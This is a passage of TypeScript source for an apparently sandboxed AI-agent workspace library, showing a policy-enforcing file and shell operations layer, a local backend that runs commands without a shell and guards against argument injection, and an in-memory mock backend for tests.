}\n\n public async readFile(\n inputPath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n const raw = await this.backend.readFile(absolutePath);\n\n // Hash the full content the backend returned (SHA-256 via\n // @warlock.js/fs), not the returned window and not the on-disk file —\n // the mock backend keeps content in memory, and the stale-edit guard\n // later hashes the backend's content too, so it must be the SAME\n // source of truth whatever window or byte cap applied.\n const hash = fs.hash.string(raw);\n\n const lines = raw.split(\"\\n\");\n const totalLines = lines.length;\n\n const offset = Math.max(1, opts?.offset ?? 1);\n const limit = opts?.limit ?? this.policy.read?.defaultLines ?? DEFAULT_READ_LINES;\n const maxBytes = this.policy.read?.maxBytes;\n\n const startIndex = offset - 1;\n const window = lines.slice(startIndex, startIndex + Math.max(0, limit));\n const { content, returnedLines, bytesCapped } = numberWindow(\n window,\n offset,\n maxBytes === undefined ? undefined : Math.max(0, Math.floor(maxBytes)),\n );\n const endLine = offset + returnedLines - 1;\n\n return {\n content,\n startLine: offset,\n endLine,\n totalLines,\n truncated: bytesCapped || endLine < totalLines,\n bytesCapped,\n totalBytes: Buffer.byteLength(raw, \"utf8\"),\n hash,\n };\n }\n\n public async writeFile(\n inputPath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.withPathLock(absolutePath, async () => {\n // Ensure the parent directory exists before writing the leaf.\n const parent = path.dirname(absolutePath);\n await this.backend.mkdir(parent);\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n hash: fs.hash.string(content),\n bytesWritten: Buffer.byteLength(content, \"utf8\"),\n };\n });\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n\n return this.withPathLock(absolutePath, () => this.applyEdit(input, absolutePath, relativePath));\n }\n\n /** The read-check-replace-write of {@link editFile}, run under its path lock. */\n private async applyEdit(\n input: EditFileInput,\n absolutePath: string,\n relativePath: string,\n ): Promise<EditFileResult> {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n // Stale-hash guard: if the caller pinned a hash and the file moved\n // underneath them, refuse so they re-read before clobbering.\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; the edit is stale.`,\n {\n type: \"stale-hash\",\n path: relativePath || input.path,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n const occurrences = countOccurrences(current, input.oldString);\n\n if (occurrences === 0) {\n throw new WorkspaceEditError(\n `The text to replace was not found in \"${input.path}\".`,\n { type: \"not-found\", path: relativePath || input.path, matches: 0 },\n );\n }\n\n if (occurrences > 1 && !input.replaceAll) {\n throw new WorkspaceEditError(\n `The text to replace is not unique in \"${input.path}\" (${occurrences} matches); ` +\n `pass replaceAll or include more surrounding context.`,\n { type: \"not-unique\", path: relativePath || input.path, matches: occurrences },\n );\n }\n\n const updated = input.replaceAll\n ? current.split(input.oldString).join(input.newString)\n : replaceFirst(current, input.oldString, input.newString);\n\n await this.backend.writeFile(absolutePath, updated);\n\n return {\n path: relativePath || input.path,\n replacements: input.replaceAll ? occurrences : 1,\n hash: fs.hash.string(updated),\n };\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n if (!isCommandAllowed(this.policy, command)) {\n throw new WorkspacePolicyError(\n `Command is not permitted by the workspace shell policy: ${command}`,\n { type: \"denied-command\", command },\n );\n }\n\n const signal = opts?.signal;\n\n // Refuse an already-cancelled invocation here, so no backend — built-in\n // or custom — ever starts a command whose caller has given up on it.\n if (signal?.aborted) {\n return {\n exitCode: CANCELLED_BEFORE_START_EXIT_CODE,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n truncated: false,\n timedOut: false,\n cancelled: true,\n };\n }\n\n const shell = this.policy.shell;\n const timeoutMs = opts?.timeoutMs ?? shell?.timeoutMs;\n const maxOutputBytes = shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;\n\n const result = await this.backend.exec(command, {\n cwd: this.policy.cwd,\n timeoutMs,\n env: buildEnv(this.policy),\n ...(signal ? { signal } : {}),\n });\n\n const stdout = capOutput(result.stdout, maxOutputBytes);\n const stderr = capOutput(result.stderr, maxOutputBytes);\n const cancelled = result.cancelled === true;\n\n return {\n exitCode: result.exitCode,\n stdout: stdout.value,\n stderr: stderr.value,\n truncated: stdout.truncated || stderr.truncated,\n timedOut: result.timedOut && !cancelled,\n cancelled,\n };\n }\n\n public async grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n if (!isSafeGrepPattern(pattern)) {\n throw new WorkspacePolicyError(\n `Grep pattern is too long or too likely to cause catastrophic regex backtracking: ${pattern}`,\n { type: \"unsafe-pattern\", pattern },\n );\n }\n\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const flags = opts?.ignoreCase ? \"i\" : \"\";\n const regex = new RegExp(pattern, flags);\n const globRegex = opts?.glob ? globToRegExp(opts.glob) : undefined;\n\n const files = await this.walkFiles(jailRoot);\n const matches: GrepMatch[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (globRegex && !globRegex.test(relativePath)) {\n continue;\n }\n\n // Skip files the deny list would block (e.g. `.git/**`).\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n let content: string;\n\n try {\n content = await this.backend.readFile(absFile);\n } catch {\n // Unreadable entry (vanished, binary handle) — skip, don't fail.\n continue;\n }\n\n const lines = content.split(\"\\n\");\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index];\n\n // Cap the input size a single `RegExp#test` call scans: backtracking\n // cost is exponential in input length, so this bounds the worst-case\n // time even a pathological (but length/shape-allowed) pattern can\n // burn on any one line.\n if (line.length > MAX_GREP_LINE_SCAN_LENGTH) {\n continue;\n }\n\n if (regex.test(line)) {\n matches.push({ path: relativePath, line: index + 1, text: line });\n\n if (matches.length >= DEFAULT_MAX_GREP_MATCHES) {\n return { matches, total: matches.length };\n }\n }\n }\n }\n\n return { matches, total: matches.length };\n }\n\n public async glob(pattern: string): Promise<string[]> {\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const regex = globToRegExp(pattern);\n\n const files = await this.walkFiles(jailRoot);\n const matched: string[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n if (regex.test(relativePath)) {\n matched.push(relativePath);\n }\n }\n\n return matched.sort();\n }\n\n public async exists(inputPath: string): Promise<boolean> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.backend.exists(absolutePath);\n }\n\n public async mkdir(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.backend.mkdir(absolutePath);\n }\n\n public async remove(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.withPathLock(absolutePath, () => this.backend.remove(absolutePath));\n }\n\n /** Whether a `/`-separated relative path hits the policy deny list. */\n private isDenied(relativePath: string): boolean {\n const denyPaths = this.policy.denyPaths;\n\n if (!denyPaths || denyPaths.length === 0) {\n return false;\n }\n\n return denyPaths.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n }\n}\n\n/** Count non-overlapping occurrences of `needle` in `haystack`. */\nfunction countOccurrences(haystack: string, needle: string): number {\n if (needle === \"\") {\n return 0;\n }\n\n let count = 0;\n let from = 0;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n const index = haystack.indexOf(needle, from);\n\n if (index === -1) {\n break;\n }\n\n count++;\n from = index + needle.length;\n }\n\n return count;\n}\n\n/** Replace the first occurrence of `needle` with `replacement`. */\nfunction replaceFirst(haystack: string, needle: string, replacement: string): string {\n const index = haystack.indexOf(needle);\n\n if (index === -1) {\n return haystack;\n }\n\n return haystack.slice(0, index) + replacement + haystack.slice(index + needle.length);\n}\n\n/**\n * Create the policy-enforced operation layer over a backend.\n *\n * The returned {@link WorkspaceOps} is the single seam both the\n * agent-facing `.tools.*` factories and the human-facing direct methods\n * delegate to — one jail, one command-gate, one read-before-edit guard,\n * regardless of caller. Path inputs are workspace-relative and resolved\n * against `policy.cwd`; escapes and denied commands surface as typed\n * {@link WorkspacePolicyError} / {@link WorkspaceEditError}.\n *\n * @param backend - The dumb IO executor (local disk or in-memory mock).\n * @param policy - The policy that bounds every operation.\n *\n * @example\n * const ops = createOps(localBackend, { cwd: \"/srv/api\", shell: { allow: [\"npm\"] } });\n * const { content, hash } = await ops.readFile(\"src/index.ts\");\n */\nexport function createOps(\n backend: WorkspaceBackend,\n policy: WorkspacePolicy,\n): WorkspaceOps {\n return new Ops(backend, policy);\n}\n","import { spawn } from \"node:child_process\";\nimport { realpath } from \"node:fs/promises\";\nimport { platform } from \"node:process\";\nimport { fs } from \"@warlock.js/fs\";\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\nimport type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\n * executor truncates each stream once this many bytes have accumulated so a\n * runaway command cannot exhaust memory; the ops layer applies its own\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\n * ordinary command output is never clipped here.\n */\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\n\n/**\n * Append a chunk to a capped list of buffers, tracking the running byte\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\n * past the cap are dropped rather than buffered.\n */\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\n if (total >= MAX_STREAM_BYTES) {\n return total;\n }\n\n const remaining = MAX_STREAM_BYTES - total;\n\n if (chunk.length <= remaining) {\n chunks.push(chunk);\n\n return total + chunk.length;\n }\n\n chunks.push(chunk.subarray(0, remaining));\n\n return MAX_STREAM_BYTES;\n}\n\n/**\n * Force-kill a spawned command and its entire process tree.\n *\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\n * further processes), so signalling the direct child alone could leave a\n * long-running grandchild alive and the `exec` promise unsettled. We\n * therefore kill the whole group:\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\n * - **POSIX** — the child is spawned `detached`, becoming its own process\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\n */\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\n if (pid === undefined) {\n child.kill(\"SIGKILL\");\n\n return;\n }\n\n if (platform === \"win32\") {\n const killer = spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\n\n // Without a listener a failed spawn (taskkill missing from PATH) is an\n // unhandled 'error' event that crashes the process; fall back to the\n // direct child instead.\n killer.on(\"error\", () => {\n child.kill(\"SIGKILL\");\n });\n\n return;\n }\n\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n // The group may already be gone; fall back to the direct child.\n child.kill(\"SIGKILL\");\n }\n}\n\n/**\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\n * an embedded quote breaks out of the quoted span, `%` triggers variable\n * expansion regardless of quoting, and newlines end the command line. An\n * argv containing any of these is refused rather than risked (the\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\n */\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\n\n/**\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\n * (Node rejects them since CVE-2024-27980), so the argv is run through\n * `cmd.exe /d /s /c` with every element individually double-quoted —\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\n * argument stay argument data. Returns `null` when an element contains a\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\n *\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\n * not re-quote the already-quoted command line.\n */\nfunction toWin32CmdInvocation(\n argv: string[],\n): { file: string; args: string[] } | null {\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\n return null;\n }\n\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\n\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\n };\n}\n\n/**\n * The real-disk executor: every filesystem method delegates to\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\n * it receives already-resolved absolute paths and an already-resolved\n * environment + timeout from the ops layer, and just performs the side\n * effect. See {@link WorkspaceBackend} for the contract this implements.\n *\n * Constructed via {@link createLocalBackend}; the class itself is internal.\n */\nclass LocalBackend implements WorkspaceBackend {\n /** Read a file's full UTF-8 content at an absolute path. */\n public async readFile(absPath: string): Promise<string> {\n return fs.files.get(absPath);\n }\n\n /**\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\n * concurrent reader never observes a half-written file, and missing parent\n * directories are created.\n */\n public async writeFile(absPath: string, content: string): Promise<void> {\n await fs.files.put(absPath, content, { atomic: true });\n }\n\n /** Whether anything (file or directory) exists at an absolute path. */\n public async exists(absPath: string): Promise<boolean> {\n return fs.exists(absPath);\n }\n\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\n public async mkdir(absPath: string): Promise<void> {\n await fs.dirs.ensure(absPath);\n }\n\n /**\n * Remove a file or directory tree at an absolute path. Stats the target to\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\n */\n public async remove(absPath: string): Promise<void> {\n let isDirectory = false;\n\n try {\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\n } catch (error) {\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\n return;\n }\n\n throw error;\n }\n\n if (isDirectory) {\n await fs.dirs.remove(absPath);\n\n return;\n }\n\n await fs.files.remove(absPath);\n }\n\n /** List immediate children of an absolute directory as absolute paths. */\n public async list(absDir: string): Promise<string[]> {\n return fs.dirs.list(absDir);\n }\n\n /**\n * Resolve symlinks and `..` segments to a canonical absolute path — the\n * primitive the ops-layer jail uses to detect escapes. Delegates to\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\n * does not expose.\n */\n public async realpath(absPath: string): Promise<string> {\n return realpath(absPath);\n }\n\n /**\n * Run a command and capture its outcome. The command line is tokenized\n * into an argv (quotes respected, NO shell semantics — see\n * `tokenizeCommand`) and spawned **without a shell**, so metacharacters\n * like `;`, `&&`, `|`, backticks, and `$()` can never chain extra\n * commands past the ops layer's allowlist; a command they appear\n * unquoted in is refused with exit code 127. On Windows the argv runs\n * through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\n * cannot be spawned shell-less) with every element individually quoted.\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\n * (the environment is NOT merged with `process.env`). On timeout the\n * process tree is SIGKILLed and `timedOut` is set. When `signal` aborts\n * mid-run the process tree is SIGKILLed the same way and `cancelled` is\n * set; an already-aborted `signal` resolves `cancelled` without spawning.\n * `stdout`/`stderr` are captured and byte-capped per {@link MAX_STREAM_BYTES}.\n *\n * Never rejects for a non-zero exit, a missing executable, a refused\n * command line, a timeout or a cancellation — those are reported through the resolved\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\n * as tool-error data.\n */\n public exec(\n command: string,\n opts: WorkspaceBackendExecOptions = {},\n ): Promise<WorkspaceBackendExecResult> {\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\n const refuse = (stderr: string): void =>\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\n\n const signal = opts.signal;\n\n // Never spawn for an invocation that was cancelled before it started.\n if (signal?.aborted) {\n resolve({\n exitCode: 130,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n timedOut: false,\n cancelled: true,\n });\n\n return;\n }\n\n const argv = tokenizeCommand(command);\n const executable = argv?.[0];\n\n if (argv === null || executable === undefined) {\n refuse(\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\n \"parentheses). Commands run without a shell — pass metacharacters \" +\n \"inside quotes as literal arguments, or run one command at a time.\",\n );\n\n return;\n }\n\n let file = executable;\n let args = argv.slice(1);\n let windowsVerbatimArguments = false;\n\n if (platform === \"win32\") {\n const invocation = toWin32CmdInvocation(argv);\n\n if (invocation === null) {\n refuse(\n 'Command was not executed: on Windows, arguments containing \", %, ' +\n \"or newlines cannot be passed to cmd.exe safely.\",\n );\n\n return;\n }\n\n file = invocation.file;\n args = invocation.args;\n windowsVerbatimArguments = true;\n }\n\n const child = spawn(file, args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments,\n // POSIX: own process group so a timeout SIGKILL reaps the whole\n // process tree, not just the direct child. Harmless on Windows\n // (ignored; there we tree-kill via taskkill instead).\n detached: platform !== \"win32\",\n });\n\n const stdoutChunks: Buffer[] = [];\n const stderrChunks: Buffer[] = [];\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let timedOut = false;\n let cancelled = false;\n let settled = false;\n // The direct child has exited; 'close' may still be pending while its\n // stdio drains (or a grandchild holds the pipes open).\n let exited = false;\n\n // Timeout and cancellation are mutually exclusive: whichever kills the\n // tree first owns the outcome, so a result is never both.\n const timer =\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\n ? setTimeout(() => {\n if (cancelled) {\n return;\n }\n\n timedOut = true;\n killTree(child.pid, child);\n }, opts.timeoutMs)\n : undefined;\n\n const onAbort = (): void => {\n if (settled || timedOut) {\n return;\n }\n\n // The command already finished: report its real outcome, not a\n // cancellation. Still reap the tree so a grandchild holding the\n // pipes open cannot keep `close` (and this promise) pending.\n if (!exited) {\n cancelled = true;\n }\n\n killTree(child.pid, child);\n };\n\n // Attached synchronously after `spawn`, so there is no window in which\n // an abort could be missed; removed in `settle` so a long-lived signal\n // shared across many commands does not accumulate listeners.\n signal?.addEventListener(\"abort\", onAbort, { once: true });\n\n const settle = (exitCode: number) => {\n if (settled) {\n return;\n }\n\n settled = true;\n\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n signal?.removeEventListener(\"abort\", onAbort);\n\n resolve({\n exitCode,\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\n timedOut,\n cancelled,\n });\n };\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\n });\n\n // A spawn failure (e.g. the executable cannot be found) surfaces as\n // an error event with no exit; report it as a conventional\n // \"command not found\" exit code rather than rejecting.\n child.on(\"error\", () => {\n settle(127);\n });\n\n child.on(\"exit\", () => {\n exited = true;\n });\n\n child.on(\"close\", (code, signal) => {\n // A null code means the process was terminated by a signal (our\n // timeout SIGKILL, or an external kill). Map that to the POSIX\n // 128 + signal-number convention so callers see a non-zero exit.\n if (code === null) {\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\n settle(128 + signalNumber);\n\n return;\n }\n\n settle(code);\n });\n });\n }\n}\n\n/**\n * Create the **local** workspace backend — the default executor that runs the\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\n * (`node:child_process`).\n *\n * The returned object is policy-agnostic: it expects already-jail-resolved\n * absolute paths and an already-resolved environment/timeout from the ops\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\n * allow/deny lists, hashing, and output policy.\n *\n * @example\n * const backend = createLocalBackend();\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\n */\nexport function createLocalBackend(): WorkspaceBackend {\n return new LocalBackend();\n}\n","import type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * A scripted outcome for the mock backend's `exec`. Mirrors\n * {@link WorkspaceBackendExecResult} but every field is optional so a\n * registration can specify only what it cares about — the rest fall back\n * to a successful, empty-output, non-timed-out run.\n */\nexport type MockExecResult = Partial<WorkspaceBackendExecResult>;\n\n/**\n * The two seedable inputs of a mock backend:\n *\n * - `files` — initial file tree as `absolutePath -> content`. Parent\n * directories of each seeded file are implicitly created.\n * - `commands` — scripted `exec` outcomes keyed on the **exact** command\n * line. Any command not registered here resolves to a `0`-exit no-op.\n */\nexport interface MockBackendSeed {\n /** Initial file contents, keyed by absolute path. */\n files?: Record<string, string>;\n /** Scripted `exec` results, keyed by exact command line. */\n commands?: Record<string, MockExecResult>;\n}\n\n/**\n * Normalize an absolute path to a stable in-memory key: forward slashes,\n * collapsed duplicate separators, and resolved `.` / `..` segments. There\n * are no symlinks in memory, so this is a pure lexical canonicalization —\n * exactly what the backend's `realpath` promises.\n */\nfunction canonicalize(absPath: string): string {\n const unified = absPath.replace(/\\\\/g, \"/\");\n // Preserve a leading slash (POSIX root) or a `C:`-style Windows drive\n // prefix; everything else is a normal segment.\n const driveMatch = unified.match(/^([a-zA-Z]:)?\\/?/);\n const prefix = driveMatch ? driveMatch[0] : \"\";\n const rest = unified.slice(prefix.length);\n\n const resolved: string[] = [];\n\n for (const segment of rest.split(\"/\")) {\n if (segment === \"\" || segment === \".\") {\n continue;\n }\n\n if (segment === \"..\") {\n resolved.pop();\n\n continue;\n }\n\n resolved.push(segment);\n }\n\n const joined = resolved.join(\"/\");\n\n // A trailing slash on the prefix means it was absolute; keep it so the\n // result stays absolute even when the body is empty (the root itself).\n const normalizedPrefix = prefix.endsWith(\"/\") ? prefix : `${prefix}/`;\n\n return joined.length > 0 ? `${normalizedPrefix}${joined}` : normalizedPrefix;\n}\n\n/** All ancestor directory keys of a canonical path, root-first. */\nfunction ancestorsOf(canonicalPath: string): string[] {\n const lastSlash = canonicalPath.lastIndexOf(\"/\");\n\n if (lastSlash <= 0) {\n return [];\n }\n\n const parent = canonicalPath.slice(0, lastSlash);\n const result = ancestorsOf(parent);\n\n result.push(parent);\n\n return result;\n}\n\n/**\n * The in-memory executor behind {@link createMockBackend}. Holds the file\n * tree in a `Map`, the directory set in a `Set`, and the scripted command\n * table in a second `Map` — no disk, no child processes, fully\n * deterministic. Construct it via the factory, never directly.\n */\nclass MockBackend implements WorkspaceBackend {\n /** Canonical file path -> content. */\n private readonly files = new Map<string, string>();\n\n /** Canonical directory paths that exist (including implicit parents). */\n private readonly directories = new Set<string>();\n\n /** Exact command line -> scripted outcome. */\n private readonly commands = new Map<string, MockExecResult>();\n\n public constructor(seed?: MockBackendSeed) {\n for (const [path, content] of Object.entries(seed?.files ?? {})) {\n const canonical = canonicalize(path);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n for (const [command, result] of Object.entries(seed?.commands ?? {})) {\n this.commands.set(command, result);\n }\n }\n\n /** Record every ancestor directory of a path as existing. */\n private registerAncestorDirectories(canonicalPath: string): void {\n for (const ancestor of ancestorsOf(canonicalPath)) {\n this.directories.add(ancestor);\n }\n }\n\n public async readFile(absPath: string): Promise<string> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content === undefined) {\n throw new Error(`Mock backend: no such file: ${canonical}`);\n }\n\n return content;\n }\n\n public async writeFile(absPath: string, content: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n public async exists(absPath: string): Promise<boolean> {\n const canonical = canonicalize(absPath);\n\n return this.files.has(canonical) || this.directories.has(canonical);\n }\n\n public async mkdir(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.directories.add(canonical);\n this.registerAncestorDirectories(canonical);\n }\n\n public async remove(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n const prefix = `${canonical}/`;\n\n // Drop the entry itself and any descendant files/directories — a\n // recursive tree removal, matching the contract's \"file or directory\n // tree\" wording.\n for (const file of [...this.files.keys()]) {\n if (file === canonical || file.startsWith(prefix)) {\n this.files.delete(file);\n }\n }\n\n for (const directory of [...this.directories]) {\n if (directory === canonical || directory.startsWith(prefix)) {\n this.directories.delete(directory);\n }\n }\n }\n\n public async list(absDir: string): Promise<string[]> {\n const canonical = canonicalize(absDir);\n const prefix = canonical === \"/\" ? \"/\" : `${canonical}/`;\n const children = new Set<string>();\n\n const collect = (key: string): void => {\n if (!key.startsWith(prefix) || key === canonical) {\n return;\n }\n\n const remainder = key.slice(prefix.length);\n const nextSlash = remainder.indexOf(\"/\");\n const childName =\n nextSlash === -1 ? remainder : remainder.slice(0, nextSlash);\n\n if (childName.length > 0) {\n children.add(`${prefix}${childName}`);\n }\n };\n\n for (const file of this.files.keys()) {\n collect(file);\n }\n\n for (const directory of this.directories) {\n collect(directory);\n }\n\n return [...children].sort();\n }\n\n public async realpath(absPath: string): Promise<string> {\n return canonicalize(absPath);\n }\n\n public async exec(\n command: string,\n opts?: WorkspaceBackendExecOptions,\n ): Promise<WorkspaceBackendExecResult> {\n // Honour the contract's pre-aborted rule: nothing \"runs\".\n if (opts?.signal?.aborted) {\n return { exitCode: 130, stdout: \"\", stderr: \"\", timedOut: false, cancelled: true };\n }\n\n const scripted = this.commands.get(command);\n\n return {\n exitCode: scripted?.exitCode ?? 0,\n stdout: scripted?.stdout ?? \"\",\n stderr: scripted?.stderr ?? \"\",\n timedOut: scripted?.timedOut ?? false,\n cancelled: scripted?.cancelled ?? false,\n };\n }\n}\n\n/**\n * Create an in-memory {@link WorkspaceBackend} for fast, disk-free tests.\n *\n * Every IO method operates on a `Map` of `absolutePath -> content` (with a\n * companion directory set), so reads, writes, existence checks, `mkdir`,\n * recursive `remove`, `list`, and `realpath` all run synchronously in\n * memory with no filesystem access. `exec` is **scripted**: a registered\n * `command -> result` table is consulted by exact command line, and any\n * unregistered command resolves to a successful `0`-exit no-op with empty\n * output.\n *\n * `realpath` is a pure lexical canonicalization (forward slashes,\n * collapsed separators, resolved `.`/`..`) — there are no symlinks in\n * memory — which is exactly what the jail resolver expects.\n *\n * The single positional `seed` accepts either the shorthand\n * `Record<string, string>` of file contents (matching the design's\n * `ai.workspace.mock(seed)` signature) or the richer {@link MockBackendSeed}\n * with both `files` and scripted `commands`.\n *\n * @example\n * // Shorthand: seed files only.\n * const backend = createMockBackend({ \"/srv/app/src/index.ts\": \"export const x = 1;\" });\n * await backend.readFile(\"/srv/app/src/index.ts\"); // \"export const x = 1;\"\n *\n * @example\n * // Full seed: files plus a scripted command.\n * const backend = createMockBackend({\n * files: { \"/srv/app/package.json\": \"{}\" },\n * commands: { \"npm test\": { exitCode: 1, stderr: \"1 failing\" } },\n * });\n * await backend.exec(\"npm test\"); // { exitCode: 1, stderr: \"1 failing\", ... }\n * await backend.exec(\"echo hi\"); // { exitCode: 0, stdout: \"\", ... } (no-op)\n */\nexport function createMockBackend(\n seed?: Record<string, string> | MockBackendSeed,\n): WorkspaceBackend {\n return new MockBackend(normalizeSeed(seed));\n}\n\n/** Coerce the dual-shaped `seed` argument into a {@link MockBackendSeed}. */\nfunction normalizeSeed(\n seed?: Record<string, string> | MockBackendSeed,\n): MockBackendSeed | undefined {\n if (seed === undefined) {\n return undefined;\n }\n\n if (isMockBackendSeed(seed)) {\n return seed;\n }\n\n return { files: seed };\n}\n\n/**\n * Whether `seed` is the structured {@link MockBackendSeed} (has a `files`\n * or `commands` key) rather than the flat `path -> content` shorthand. A\n * plain shorthand map whose only key happens to be named `files` is\n * treated as structured — callers wanting that literal path should use the\n * explicit `{ files: { files: \"...\" } }` form.\n */\nfunction isMockBackendSeed(\n seed: Record<string, string> | MockBackendSeed,\n): seed is MockBackendSeed {\n return (\n typeof (seed as MockBackendSeed).files === \"object\" ||\n typeof (seed as MockBackendSeed).commands === \"object\"\n );\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\n\n/**\n * Tiny, dependency-free [Standard Schema](https://standardschema.dev)\n * builders for the workspace tools' input validation. The package pins\n * only `@warlock.js/ai` and `@warlock.js/fs` as runtime dependencies, so\n * rather than pull in a schema library we hand-roll the few shapes the\n * file tools need — exactly the pattern `@warlock.js/ai`'s own `tool()`\n * tests use. Each builder returns a `StandardSchemaV1`, which is what\n * `tool({ input })` validates against before calling `execute`.\n *\n * These intentionally cover only the primitive cases the FILE tools\n * require (`string`, `optional string`, `optional number`, `optional\n * boolean`, and an `object` of fields). They are not a general-purpose\n * validator.\n */\n\n/** The vendor tag stamped on every issue these builders produce. */\nconst VENDOR = \"ai-workspace\";\n\n/**\n * A single field validator inside {@link objectSchema}: given a value,\n * return either the coerced value or a list of issues. Field validators\n * receive the raw property and the property name (for issue messages).\n */\ntype FieldValidator<T> = (\n value: unknown,\n key: string,\n) => { value: T } | { issues: StandardSchemaV1.Issue[] };\n\n/** Required string field — rejects anything that is 